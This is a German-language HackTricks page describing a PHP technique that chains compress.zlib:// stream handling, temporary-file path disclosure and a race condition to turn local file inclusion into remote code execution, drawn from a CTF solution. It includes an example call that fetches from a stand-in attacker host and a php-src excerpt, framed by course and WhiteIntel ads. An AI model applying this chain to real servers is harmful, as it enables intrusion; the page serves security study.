LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihren Motor kostenlos ausprobieren unter:


compress.zlib:// und PHP_STREAM_PREFER_STDIO

Eine Datei, die mit dem Protokoll compress.zlib:// und der Flagge PHP_STREAM_PREFER_STDIO geöffnet wird, kann weiterhin Daten, die später über die Verbindung eintreffen, in dieselbe Datei schreiben.

Dies bedeutet, dass ein Aufruf wie:

file_get_contents("compress.zlib://http://attacker.com/file")

Der Angreifer sendet eine Anfrage, die nach http://attacker.com/file fragt. Der Server könnte die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und zu einem späteren Zeitpunkt zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden. Diese Information kann im folgenden Teil des php-src-Codes in main/streams/cast.c eingesehen werden:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Rennbedingung zu RCE

Dieses CTF wurde mithilfe des vorherigen Tricks gelöst.

Der Angreifer wird den Opferserver dazu bringen, eine Verbindung zu öffnen und eine Datei vom Angreiferserver zu lesen, indem das compress.zlib-Protokoll verwendet wird.

Während diese Verbindung besteht, wird der Angreifer den Pfad zur temporären Datei exfiltrieren, der vom Server preisgegeben wird.

Während die Verbindung noch offen ist, wird der Angreifer eine LFI ausnutzen, um die von ihm kontrollierte temporäre Datei zu laden.

Es gibt jedoch eine Überprüfung im Webserver, die das Laden von Dateien verhindert, die <? enthalten. Daher wird der Angreifer eine Rennbedingung ausnutzen. In der noch offenen Verbindung wird der Angreifer das PHP-Payload NACHDEM der Webserver überprüft hat, ob die Datei verbotene Zeichen enthält, aber BEVOR er deren Inhalt lädt.

Für weitere Informationen siehe die Beschreibung der Rennbedingung und des CTF unter https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel ist eine von Darknet angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated